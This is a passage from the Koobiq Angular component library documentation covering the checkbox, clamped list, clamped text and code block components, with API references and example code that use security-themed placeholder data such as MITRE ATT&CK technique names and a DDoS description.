  while both are unset or falsy.
- `(change)`: `KbqCheckboxChange` — Event emitted when the checkbox's `checked` value changes.
- `errorState`: `Signal<boolean>` — Whether the checkbox is in an error state.
- `colorClassName`: `string` — current class name of color
- `updateErrorState()`: `void` — Updates the error state based on the error state matcher.
- `toggle()`: `void` — Toggles the `checked` state of the checkbox.
- `focus()`: `void` — Focuses the checkbox.
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

#### Directives

##### KbqCheckboxRequiredValidator (directive)

Validator for koobiq checkbox's required attribute in template-driven checkbox.
Current CheckboxRequiredValidator only work with `input type=checkbox` and does not
work with `kbq-checkbox`.

```ts
@Directive({
    selector: 'kbq-checkbox[required][formControlName], kbq-checkbox[required][formControl], kbq-checkbox[required][ngModel]'
})
class KbqCheckboxRequiredValidator extends CheckboxRequiredValidator {
    required: string | boolean;
}
```

#### Classes

##### KbqCheckboxChange (class)

Change event object emitted by KbqCheckbox.

```ts
class KbqCheckboxChange {
    source: KbqCheckbox;
    checked: boolean;
}
```

- `source`: `KbqCheckbox` — The source KbqCheckbox of the event.
- `checked`: `boolean` — The new `checked` value of the checkbox.

#### Types

##### KbqCheckboxClickAction (type)

Checkbox click action when user click on input element.
noop: Do not toggle checked or indeterminate.
check: Only toggle checked status, ignore indeterminate.
check-indeterminate: Toggle checked status, set indeterminate to false. Default behavior.
undefined: Same as `check-indeterminate`.

```ts
type KbqCheckboxClickAction = KbqCheckableClickAction;
```

#### Constants

##### KBQ_CHECKBOX_CLICK_ACTION (const)

Injection token that can be used to specify the checkbox click behavior.

```ts
const KBQ_CHECKBOX_CLICK_ACTION: InjectionToken<KbqCheckboxClickAction>;
```

##### KBQ_CHECKBOX_REQUIRED_VALIDATOR (const)

```ts
const KBQ_CHECKBOX_REQUIRED_VALIDATOR: Provider;
```

### Examples

#### Block checkbox

A custom checkbox-like "card" control built on the shared `KbqCheckable` primitive (`@koobiq/components/core`), showing how to reuse checkbox's click/form/a11y behavior with your own markup and styling.

**Example: Custom checkbox block** (`block-checkbox`)

```ts block-checkbox-example.ts
import { ChangeDetectionStrategy, Component, inject, model, output } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqCheckable } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';

/**
 * EXAMPLE ONLY - not a published Koobiq component.
 *
 * A checkbox-like "card" control built directly on top of the shared `KbqCheckable` primitive.
 * Demonstrates that custom markup/styling can reuse the same click, form, and a11y behavior as
 * `kbq-checkbox` and `kbq-toggle` via `hostDirectives`, without reimplementing any of it.
 */
@Component({
    selector: 'block-checkbox-component',
    imports: [KbqIconModule],
    template: `
        <label class="example-block-checkbox__layout">
            <input
                #input
                type="checkbox"
                class="example-block-checkbox__input"
                [attr.aria-checked]="checkable.getAriaChecked()"
                [checked]="checkable.checked()"
                [disabled]="checkable.disabled()"
                [tabIndex]="checkable.effectiveTabIndex()"
                (click)="onInputClick($event)"
                (change)="$event.stopPropagation()"
            />

            <div class="example-block-checkbox__thumb">
                <ng-content select="[block-checkbox-thumb]" />
            </div>

            <div class="example-block-checkbox__body">
                <div class="example-block-checkbox__title kbq-text-normal-strong">
                    <ng-content select="[block-checkbox-title]" />
                </div>
                <div class="example-block-checkbox__description kbq-text-normal">
                    <ng-content />
                </div>
            </div>

            <span class="example-block-checkbox__indicator" aria-hidden="true">
                @if (checkable.checked()) {
                    <i kbq-icon="kbq-check-s_16" color="empty"></i>
                }
            </span>
        </label>
    `,
    styleUrl: './block-checkbox-example.css',
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'example-block-checkbox',
        '[class.example-block-checkbox_checked]': 'checkable.checked()',
        '[class.example-block-checkbox_disabled]': 'checkable.disabled()'
    },
    hostDirectives: [
        { directive: KbqCheckable, inputs: ['checked', 'disabled'] }
    ]
})
export class BlockCheckboxComponent {
    protected readonly checkable = inject(KbqCheckable, { self: true });

    /** Emitted with the new `checked` value when the card is toggled by the user. */
    readonly checkedChange = output<boolean>();

    protected onInputClick(event: Event): void {
        // See KbqCheckbox/KbqToggleComponent#onInputClick - stops the label's generated click event
        // on the native input from bubbling and firing this handler a second time.
        event.stopPropagation();

        const { shouldToggle } = this.checkable.resolveClick(undefined);

        if (shouldToggle) {
            this.checkable.toggle();
            this.checkedChange.emit(this.checkable.checked());
        }
    }
}

@Component({
    selector: 'block-checkbox-example',
    imports: [KbqIconModule, BlockCheckboxComponent, FormsModule],
    template: `
        <block-checkbox-component [(ngModel)]="checked">
            <span block-checkbox-title>Title</span>
            <div>Lorem ipsum</div>
        </block-checkbox-component>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class BlockCheckboxExample {
    readonly checked = model(true);
}
```

## Clamped list

- Entry point: `@koobiq/components/clamped-text`
- NgModule: `KbqClampedTextModule`
- Page: https://koobiq.io/en/components/clamped-list/overview

### Overview

Clamped List displays long lists compactly, hides items that do not fit the configured limit, and lets users expand the full content.

#### Clamped list

By default, 10 items are shown and the rest are hidden. If the hidden portion contains fewer than 6 items, the full list is displayed. These parameters can be changed if needed.

**Example: Clamped-list vertical** (`clamped-list-overview`)

```ts clamped-list-overview-example.ts
import { ChangeDetectionStrategy, Component, signal, viewChildren } from '@angular/core';
import { KbqClampedList, KbqClampedListTrigger } from '@koobiq/components/clamped-text';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqLink, KbqLinkPrefix } from '@koobiq/components/link';

@Component({
    selector: 'clamped-list-overview-example',
    imports: [KbqClampedList, KbqClampedListTrigger, KbqIcon, KbqLink, KbqLinkPrefix],
    template: `
        <!--@TODO update gap with paddings when link underline with text-decoration used (#DS-4778)-->
        <div
            #clampedList="kbqClampedList"
            kbqClampedList
            class="layout-column layout-gap-xxs"
            [items]="items"
            (isCollapsedChange)="focusWhenExpanded($event)"
        >
            @for (item of clampedList.visibleItems(); track item.id) {
                <div class="layout-row layout-align-space-between-start">
                    <a kbqLink target="_blank" [href]="item.url">
                        {{ item.name }}
                    </a>
                    <div style="min-width: 45px;">
                        {{ item.id }}
                    </div>
                </div>
            }
            @if (clampedList.hasToggle()) {
                <a kbqLink kbqClampedListTrigger pseudo>
                    <i
                        kbqLinkPrefix
                        [kbq-icon]="clampedList.isCollapsed() ? 'kbq-chevron-down_16' : 'kbq-chevron-up_16'"
                    ></i>
                    {{
                        clampedList.isCollapsed()
                            ? clampedList.showMoreCountText()
                            : clampedList.localeConfiguration().closeText
                    }}
                </a>
            }
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ClampedListOverviewExample {
    protected readonly collapsed = signal(true);
    protected readonly clampedListItems = viewChildren(KbqLink);
    protected items = [
        {
            id: 'T1557',
            name: 'Adversary-in-the-Middle',
            url: 'https://attack.mitre.org/techniques/T1557/'
        },
        {
            id: 'T1110',
            name: 'Brute Force',
            url: 'https://attack.mitre.org/techniques/T1110/'
        },
        {
            id: 'T1555',
            name: 'Credentials from Password Stores',
            url: 'https://attack.mitre.org/techniques/T1555/'
        },
        {
            id: 'T1212',
            name: 'Exploitation for Credential Access',
            url: 'https://attack.mitre.org/techniques/T1212/'
        },
        {
            id: 'T1187',
            name: 'Forced Authentication',
            url: 'https://attack.mitre.org/techniques/T1187/'
        },
        {
            id: 'T1606',
            name: 'Forge Web Credentials',
            url: 'https://attack.mitre.org/techniques/T1606/'
        },
        {
            id: 'T1056',
            name: 'Input Capture',
            url: 'https://attack.mitre.org/techniques/T1056/'
        },
        {
            id: 'T1556',
            name: 'Modify Authentication Process',
            url: 'https://attack.mitre.org/techniques/T1556/'
        },
        {
            id: 'T1111',
            name: 'Multi-Factor Authentication Interception',
            url: 'https://attack.mitre.org/techniques/T1111/'
        },
        {
            id: 'T1621',
            name: 'Multi-Factor Authentication Request Generation',
            url: 'https://attack.mitre.org/techniques/T1621/'
        },
        {
            id: 'T1040',
            name: 'Network Sniffing',
            url: 'https://attack.mitre.org/techniques/T1040/'
        },
        {
            id: 'T1003',
            name: 'OS Credential Dumping',
            url: 'https://attack.mitre.org/techniques/T1003/'
        },
        {
            id: 'T1528',
            name: 'Steal Application Access Token',
            url: 'https://attack.mitre.org/techniques/T1528/'
        },
        {
            id: 'T1649',
            name: 'Steal or Forge Authentication Certificates',
            url: 'https://attack.mitre.org/techniques/T1649/'
        },
        {
            id: 'T1558',
            name: 'Steal or Forge Kerberos Tickets',
            url: 'https://attack.mitre.org/techniques/T1558/'
        },
        {
            id: 'T1539',
            name: 'Steal Web Session Cookie',
            url: 'https://attack.mitre.org/techniques/T1539/'
        },
        {
            id: 'T1552',
            name: 'Unsecured Credentials',
            url: 'https://attack.mitre.org/techniques/T1552/'
        }
    ];

    protected focusWhenExpanded(isCollapsed: boolean) {
        const isExpanded = !isCollapsed;

        if (isExpanded) {
            const links = this.clampedListItems();

            if (links.length) {
                links[0].focus();
            }
        }
    }
}
```

List items can be inline. For compactness, a short label is used on the expand button.

**Example: Clamped-list** (`clamped-list`)

```ts clamped-list-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqClampedList, KbqClampedListTrigger } from '@koobiq/components/clamped-text';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'clamped-list-example',
    imports: [KbqClampedList, KbqClampedListTrigger, KbqLink],
    template: `
        <div class="layout-margin-bottom-l layout-margin-top-l">
            <div
                #clampedList="kbqClampedList"
                kbqClampedList
                class="layout-row layout-wrap"
                [items]="countries"
                [(isCollapsed)]="collapsed"
            >
                @for (item of clampedList.visibleItems(); track item) {
                    <div>
                        <span>
                            <span>{{ item }}</span>
                            @if (clampedList.hasToggle()) {
                                <span>,&nbsp;</span>
                            }
                        </span>
                    </div>
                }
                @if (clampedList.hasToggle()) {
                    <a kbqClampedListTrigger kbqLink pseudo>
                        @if (clampedList.isCollapsed()) {
                            {{ clampedList.exceededItemCount() }} {{ clampedList.localeConfiguration().moreText }}
                        } @else {
                            {{ clampedList.localeConfiguration().closeText }}
                        }
                    </a>
                }
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ClampedListExample {
    protected readonly collapsed = model(true);
    protected countries = [
        'Australia',
        'Austria',
        'Argentina',
        'Belgium',
        'Brazil',
        'United Kingdom',
        'Germany',
        'Greece',
        'Denmark',
        'Egypt',
        'India',
        'Spain',
        'Italy',
        'Canada',
        'Mexico',
        'Netherlands',
        'Norway',
        'Poland',
        'Portugal',
        'Russia',
        'United States',
        'Thailand',
        'Turkey',
        'France',
        'Japan'
    ];
}
```

A multi-line list with a centered dot as a separator. The label on the text button is capitalized.

**Example: Clamped-list dotted** (`clamped-list-dotted`)

```ts clamped-list-dotted-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqClampedList, KbqClampedListTrigger } from '@koobiq/components/clamped-text';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'clamped-list-dotted-example',
    imports: [KbqClampedList, KbqClampedListTrigger, KbqLink],
    template: `
        <div class="layout-margin-bottom-l layout-margin-top-l">
            <div
                #clampedList="kbqClampedList"
                kbqClampedList
                class="layout-row layout-wrap"
                [items]="countries"
                [(isCollapsed)]="collapsed"
            >
                @for (item of clampedList.visibleItems(); track item) {
                    <div>
                        <span class="example-list-item">
                            <span>{{ item }}</span>
                            @if (clampedList.hasToggle()) {
                                <span
                                    class="example-list-item__divider layout-align-center-center layout-margin-left-xxs layout-margin-right-xxs"
                                >
                                    <svg
                                        width="2"
                                        height="2"
                                        viewBox="0 0 2 2"
                                        fill="none"
                                        xmlns="http://www.w3.org/2000/svg"
                                    >
                                        <path
                                            d="M0.894886 1.78977C0.649621 1.78977 0.439157 1.70194 0.263494 1.52628C0.0878314 1.35062 0 1.14015 0 0.894887C0 0.649621 0.0878314 0.439157 0.263494 0.263494C0.439157 0.0878315 0.649621 0 0.894886 0C1.14015 0 1.35062 0.0878315 1.52628 0.263494C1.70194 0.439157 1.78977 0.649621 1.78977 0.894887C1.78977 1.05729 1.74834 1.20644 1.66548 1.34233C1.58594 1.47822 1.47822 1.58759 1.34233 1.67045C1.20975 1.75 1.06061 1.78977 0.894886 1.78977Z"
                                            fill="#6C7393"
                                        />
                                    </svg>
                                </span>
                            }
                        </span>
                    </div>
                }
                @if (clampedList.hasToggle()) {
                    <a kbqClampedListTrigger kbqLink pseudo>
                        @if (clampedList.isCollapsed()) {
                            {{ clampedList.exceededItemCount() }} {{ clampedList.localeConfiguration().moreText }}
                        } @else {
                            {{ clampedList.localeConfiguration().closeText }}
                        }
                    </a>
                }
            </div>
        </div>
    `,
    styles: `
        .example-list-item {
            display: inline-flex;
        }

        .example-list-item__divider {
            display: inline-flex;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ClampedListDottedExample {
    protected readonly collapsed = model(true);
    protected countries = [
        'Australia',
        'Austria',
        'Argentina',
        'Belgium',
        'Brazil',
        'United Kingdom',
        'Germany',
        'Greece',
        'Denmark',
        'Egypt',
        'India',
        'Spain',
        'Italy',
        'Canada',
        'Mexico',
        'Netherlands',
        'Norway',
        'Poland',
        'Portugal',
        'Russia',
        'United States',
        'Thailand',
        'Turkey',
        'France',
        'Japan'
    ];
}
```

#### Accessibility

The trigger is yours to place, so applying `kbqClampedListTrigger` to it is a manual step: without the directive the trigger is not reachable from the keyboard, and a screen reader does not report whether the list is collapsed or expanded.

The trigger carries no spacing of its own: lay it out with the list.

> The API tab of this page is shared with **Clamped text**: both components ship from the `@koobiq/components/clamped-text` entry point, because they share the trigger directive, the `KbqClampedRoot` contract and one locale section.

### API

#### Components

##### KbqClampedText (component)

Clamps projected text to `rows` lines and offers a disclosure control that reveals the rest.
The control only appears once a measurement has shown the content does not fit.

```ts
@Component({ selector: 'kbq-clamped-text', exportAs: 'kbqClampedText' })
class KbqClampedText implements KbqClamped {
    readonly rows = input<number>(kbqClampedTextDefaultMaxRows);
    readonly isCollapsed = model<boolean | undefined>();
    readonly debounceTime = input<number>(0);
    readonly scrollOnCollapse = input<boolean>(true);
    readonly duration = input<number>(100);
    readonly contentId: string;
    readonly hasToggle: Signal<boolean>;
    toggle(event: Event): void;
}
```

- `[rows]`: `number` — Max rows before text is clamped. Defaults to `kbqClampedTextDefaultMaxRows`.
- `[(isCollapsed)]`: `boolean | undefined` — Collapsed state: `true` = collapsed, `false` = expanded, `undefined` = auto.
  Writable half of the `[(isCollapsed)]` two-way binding — written when the user operates the
  toggle, never by the component's own measurement.
- `[debounceTime]`: `number` — Debounce time on resize observer when recalculating toggle and text visibility. Defaults to `0`.
- `[scrollOnCollapse]`: `boolean` — Whether collapsing scrolls the component back into view. Defaults to `true`.
- `[duration]`: `number` — Duration of the expand and collapse animation in milliseconds.
  Only state changes made through the disclosure toggle animate: programmatic writes of
  `isCollapsed` and re-measurements switch instantly. Defaults to `100`.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `contentId`: `string` — Id of the clamped region, published by the toggle as its `aria-controls`.
- `hasToggle`: `Signal<boolean>` — Whether the content overflows `rows` lines by enough to be worth a toggle.
- `toggle()`: `void` — Flips the collapsed state. Stops event propagation.

#### Directives

##### KbqClampedList (directive)

Renders a long list compactly: keeps the first `collapsedVisibleCount` items and lets a projected
`kbqClampedListTrigger` reveal the rest.

```ts
@Directive({ selector: '[kbqClampedList]', exportAs: 'kbqClampedList' })
class KbqClampedList<T> implements KbqClamped {
    readonly isCollapsed = model<boolean>(true);
    readonly items = input<T[]>([]);
    readonly collapsedVisibleCount = input<number>(10);
    readonly hiddenThreshold = input<number>(6);
    readonly duration = input<number>(100);
    readonly contentId: string;
    readonly exceededItemCount: Signal<number>;
    readonly hasToggle: Signal<boolean>;
    readonly visibleItems: Signal<T[]>;
    readonly showMoreCountText: Signal<string>;
    readonly localeConfiguration: Signal<KbqClampedTextLocaleConfiguration>;
    toggle(event: Event): void;
}
```

- `[(isCollapsed)]`: `boolean` — Collapsed state: `true` = collapsed, `false` = expanded, `undefined` = expanded.
- `[items]`: `T[]` — The list of items to display.
- `[collapsedVisibleCount]`: `number` — Maximum number of items visible in collapsed state. Defaults to `10`.
- `[hiddenThreshold]`: `number` — Minimum number of hidden items required to show the toggle trigger. Defaults to `6`.
- `[duration]`: `number` — Duration of the expand and collapse animation in milliseconds.
  Only state changes made through the disclosure toggle animate: programmatic writes of
  `isCollapsed` and changes of `items` switch instantly. Defaults to `100`.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `contentId`: `string` — Id the trigger points its `aria-controls` at. Keeps an id the host already carries.
- `exceededItemCount`: `Signal<number>` — Number of items hidden when the list is collapsed.
- `hasToggle`: `Signal<boolean>` — Whether the number of hidden items meets the threshold to render the toggle trigger.
- `visibleItems`: `Signal<T[]>` — Slice of items currently rendered — truncated to `minVisibleCount` when collapsed, a full list otherwise.
- `showMoreCountText`: `Signal<string>` — Localized "show more" label with the exceeded item count interpolated into the `{exceededItemCount}` placeholder.
- `localeConfiguration`: `Signal<KbqClampedTextLocaleConfiguration>` — Clamped text locale configuration.
- `toggle()`: `void` — Toggles the collapsed state of the list. Stops event propagation.

##### KbqClampedListTrigger (directive)

Disclosure control for the clamped container it is projected into — `[kbqClampedList]` or
`<kbq-clamped-text>`. Supplies the button semantics itself, so a host element does not have to:
`role`, `tabindex`, `aria-expanded` and `aria-controls` all come from here, and a `role` or
`tabindex` written on the element wins over the defaults.

```ts
@Directive({
    selector: '[kbqClampedListTrigger]',
    exportAs: 'kbqClampedListTrigger'
})
class KbqClampedListTrigger {}
```

#### Types

##### KbqClamped (interface)

Contract a clamped container exposes to `KbqClampedListTrigger`.

```ts
interface KbqClamped {
    isCollapsed: Signal<boolean | undefined>;
    hasToggle: Signal<boolean>;
    contentId: string;
    localeConfiguration: Signal<KbqClampedTextLocaleConfiguration>;
    toggle(event: Event): void;
}
```

- `isCollapsed`: `Signal<boolean | undefined>` — Collapsed state: `true` = collapsed, `false` = expanded, `undefined` = auto.
  Behavior for auto may vary according to clamped-list/clamped-text
- `hasToggle`: `Signal<boolean>` — Whether the toggle trigger should be shown.
- `contentId`: `string` — Id of the region the trigger expands and collapses, published as its `aria-controls`.
- `localeConfiguration`: `Signal<KbqClampedTextLocaleConfiguration>` — Reactive locale strings for open/close labels.
- `toggle()`: `void` — Toggles the collapsed state of the list. Stops event propagation.

#### Constants

##### KBQ_CLAMPED_TEXT_LOCALE_CONFIGURATION (const)

Localization configuration provider.

```ts
const KBQ_CLAMPED_TEXT_LOCALE_CONFIGURATION: InjectionToken<KbqClampedTextLocaleConfiguration>;
```

##### KbqClampedRoot (const)

Token the clamped containers of this package provide themselves under, so that
`KbqClampedListTrigger` can drive whichever of them it is projected into without naming a
concrete class.

```ts
const KbqClampedRoot: InjectionToken<KbqClamped>;
```

##### kbqClampedTextDefaultMaxRows (const)

Default maximum number of visible rows for the clamped text component
before truncation and the "collapse/expand" toggle is shown.

```ts
const kbqClampedTextDefaultMaxRows: number;
```

##### kbqClampedTextLocaleConfigurationProvider (const)

Utility provider of `KBQ_CLAMPED_TEXT_LOCALE_CONFIGURATION`. Only the strings you pass are overridden;
the rest keep following the active locale.

```ts
const kbqClampedTextLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqClampedTextLocaleConfiguration>
) => Provider;
```

## Clamped text

- Entry point: `@koobiq/components/clamped-text`
- NgModule: `KbqClampedTextModule`
- Page: https://koobiq.io/en/components/clamped-text/overview

### Overview

The **Clamped Text** component helps display long text neatly. When collapsed, it shows only a specified number of lines; when expanded, it reveals the full text.

**Example: Clamped-text overview** (`clamped-text-overview`)

```ts clamped-text-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqClampedText } from '@koobiq/components/clamped-text';

@Component({
    selector: 'clamped-text-overview-example',
    imports: [KbqClampedText],
    template: `
        <div class="layout-margin-bottom-l">
            <kbq-clamped-text>
                {{ text }}
            </kbq-clamped-text>
        </div>
    `,
    styles: `
        :host > div {
            overflow: auto;
            resize: horizontal;
            max-width: 100%;
            min-width: 150px;
            padding: var(--kbq-size-xxs);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ClampedTextOverviewExample {
    protected readonly text =
        'In a distributed denial-of-service attack (DDoS attack), the incoming traffic flooding the victim originates from many different sources. More sophisticated strategies are required to mitigate this type of attack; simply attempting to block a single source is insufficient as there are multiple sources. A DoS or DDoS attack is analogous to a group of people crowding the entry door of a shop, making it hard for legitimate customers to enter, thus disrupting trade and losing the business money. Criminal perpetrators of DoS attacks often target sites or services hosted on high-profile web servers such as banks or credit card payment gateways. Revenge and blackmail, as well as hacktivism, can motivate these attacks.';
}
```

#### Number of lines

By default, text is truncated after 5 lines. The `rows` attribute controls how many lines are shown in the collapsed state:

```html
<kbq-clamped-text [rows]="3">
    In a distributed denial-of-service attack (DDoS attack), the incoming traffic flooding the victim originates from
    many different sources. More sophisticated strategies are required to mitigate this type of attack; simply
    attempting to block a single source is insufficient as there are multiple sources.
</kbq-clamped-text>
```

#### A single hidden line is always shown

If the hidden portion contains only one line, the component displays it immediately. The "Expand" button does not appear because the text already takes up the same height as the collapsed state with the button.

#### External state control

The collapsed state can be driven from outside: the parent sets it, and gets a new value back when the user operates the toggle.

**Example: Clamped-text external state** (`clamped-text-external-state`)

```ts clamped-text-external-state-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqClampedText } from '@koobiq/components/clamped-text';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'clamped-text-external-state-example',
    imports: [FormsModule, KbqClampedText, KbqToggleModule],
    template: `
        <div class="layout-margin-bottom-l">
            <kbq-clamped-text [(isCollapsed)]="collapsed">
                {{ text }}
            </kbq-clamped-text>
        </div>

        <kbq-toggle [(ngModel)]="collapsed">Collapsed</kbq-toggle>
    `,
    styles: `
        :host > div {
            overflow: auto;
            resize: horizontal;
            max-width: 100%;
            min-width: 150px;
            padding: var(--kbq-size-xxs);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ClampedTextExternalStateExample {
    protected readonly collapsed = model(false);
    protected readonly text =
        'In a distributed denial-of-service attack (DDoS attack), the incoming traffic flooding the victim originates from many different sources. More sophisticated strategies are required to mitigate this type of attack; simply attempting to block a single source is insufficient as there are multiple sources. A DoS or DDoS attack is analogous to a group of people crowding the entry door of a shop, making it hard for legitimate customers to enter, thus disrupting trade and losing the business money. Criminal perpetrators of DoS attacks often target sites or services hosted on high-profile web servers such as banks or credit card payment gateways. Revenge and blackmail, as well as hacktivism, can motivate these attacks.';
}
```

A user action is the only thing that travels back — neither the component's own measurement nor a value the parent wrote itself. That makes the state safe to keep in a route query parameter: a page load will not overwrite the parameter.

### API

The API of `@koobiq/components/clamped-text` is listed under Clamped list.

## Code block

- Entry point: `@koobiq/components/code-block`
- NgModule: `KbqCodeBlockModule`
- Page: https://koobiq.io/en/components/code-block/overview

### Overview

`<kbq-code-block>` is a component that displays reformatted text content with syntax highlighting.

**Example: Code-block overview** (`code-block-overview`)

```ts code-block-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';

@Component({
    selector: 'code-block-overview-example',
    imports: [KbqCodeBlockModule],
    template: `
        <kbq-code-block [files]="files" />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                typescript: () => import('highlight.js/lib/languages/typescript')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockOverviewExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            content: `function getVulnerabilities(): string[] {\n\treturn ['XSS', 'DDoS', 'Phishing'];\n}`,
            language: 'typescript'
        }
    ];
}
```

Note

For the component to work, the [`highlight.js@^11`](https://github.com/highlightjs/highlight.js/tree/11.10.0) dependency is required:

```bash
npm install highlight.js@^11
```

#### Configuring highlight.js

By default, the component loads the `highlight.js` core, which has no languages, and shows the code as plain text. Register the languages of your files with `kbqCodeBlockHighlightJsConfigProvider`:

```typescript
providers: [
    kbqCodeBlockHighlightJsConfigProvider({
        languages: {
            typescript: () => import('highlight.js/lib/languages/typescript'),
            css: () => import('highlight.js/lib/languages/css'),
            html: () => import('highlight.js/lib/languages/xml')
        }
    })
];
```

Languages are loaded lazily on first use. Plain text needs no entry: the component falls back to it for a file whose language is not specified or not registered. Note that the `html` language is an alias of `xml` in `highlight.js`, so register `xml` to enable HTML syntax highlighting.

To highlight any language, load the full bundle with all of them (\~1 MB):

```typescript
providers: [
    kbqCodeBlockHighlightJsConfigProvider({
        core: () => import('highlight.js')
    })
];
```

#### Line numbers

Numbering lines is useful for referencing a specific location in the document. Line numbers are disabled by default and can be enabled using the `lineNumbers` attribute, or for all code blocks in the [default settings](#default-settings).

**Example: Code-block with lineNumbers attribute** (`code-block-line-numbers`)

```ts code-block-line-numbers-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'code-block-line-numbers-example',
    imports: [
        KbqCodeBlockModule,
        KbqToggleModule,
        FormsModule
    ],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="lineNumbers">Line numbers</kbq-toggle>
        <kbq-code-block canToggleSoftWrap [files]="files" [lineNumbers]="lineNumbers" />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                javascript: () => import('highlight.js/lib/languages/javascript')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockLineNumbersExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            content: `function getVulnerabilities() {\n\treturn ['BruteForce', 'Complex Attack', 'DDoS', 'HIPS alert', 'IDS/IPS Alert', 'Zero-Day Exploit', 'XSS', 'Malware', 'Ransomware', 'Phishing'];\n};`,
            language: 'javascript'
        }
    ];

    lineNumbers: boolean = true;
}
```

#### Header with title

In the header, you can specify the document name or define the syntax. A shadow appears in the header when scrolling.

**Example: Code block header pinned** (`code-block-header-pinned`)

```ts code-block-header-pinned-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'code-block-header-pinned-example',
    imports: [
        KbqCodeBlockModule,
        KbqToggleModule,
        KbqIcon,
        FormsModule
    ],
    template: `
        <kbq-code-block
            canToggleSoftWrap
            lineNumbers
            filled
            [canDownload]="true"
            [files]="files"
            [softWrap]="true"
            [hideTabs]="false"
        >
            <ng-template let-file let-fallback="fallbackFileName" kbqCodeBlockTabLinkContent>data</ng-template>
        </kbq-code-block>

        <kbq-code-block
            canToggleSoftWrap
            lineNumbers
            [canDownload]="true"
            [softWrap]="true"
            [files]="files"
            [hideTabs]="false"
        >
            <ng-template let-file let-fallback="fallbackFileName" kbqCodeBlockTabLinkContent>
                <i kbq-icon="kbq-diamond_16" class="layout-margin-right-xs"></i>
                <span class="kbq-caps-normal-strong">
                    {{ file.language || fallback }}
                </span>
            </ng-template>
        </kbq-code-block>
    `,
    styles: `
        .kbq-code-block {
            height: 350px;
            &:first-of-type {
                margin-bottom: var(--kbq-size-xs);
            }
        }
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                json: () => import('highlight.js/lib/languages/json')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockHeaderPinnedExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            language: 'json',
            content: `{
  "data": [{
    "id": "1",
    "attributes": {
      "title": "JSON:API paints my hyper-super-duper mighty bikeshed!",
      "body": "The shortest article. Ever."
    },
    "relationships": {
      "author": {
        "data": {"id": "42", "type": "people"}
      }
    }
  }],
  "included": [
    {
      "type": "people",
      "id": "42",
      "attributes": {
        "name": "John"
      }
    }
  ]
}`
        }
    ];
}
```

#### Changing the block height

The block can expand to fill the available screen area if reviewing the code is one of the main tasks in the interface. When screen space is limited or the code only supplements the main content, a developer can use a block with a fixed height, configured using the `maxHeight` attribute.

For compactness, it can be useful to show a portion of the document with the option to expand everything, using the `viewAll` attribute. The block will increase in height and all the code will be visible, avoiding double scrolling. In the collapsed state, there is no scrolling. If you change the wrap mode and then collapse and expand the code, the setting is preserved.

**Example: Code-block with maxHeight attribute** (`code-block-with-max-height`)

```ts code-block-with-max-height-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'code-block-with-max-height-example',
    imports: [
        KbqCodeBlockModule,
        KbqToggleModule,
        FormsModule
    ],
    template: `
        <kbq-toggle class="layout-margin-bottom-m layout-margin-right-m" [(ngModel)]="viewAll">Show all</kbq-toggle>
        <kbq-toggle [(ngModel)]="filled">Filled</kbq-toggle>

        <kbq-code-block
            canToggleSoftWrap
            maxHeight="200"
            lineNumbers
            [filled]="filled()"
            [files]="files"
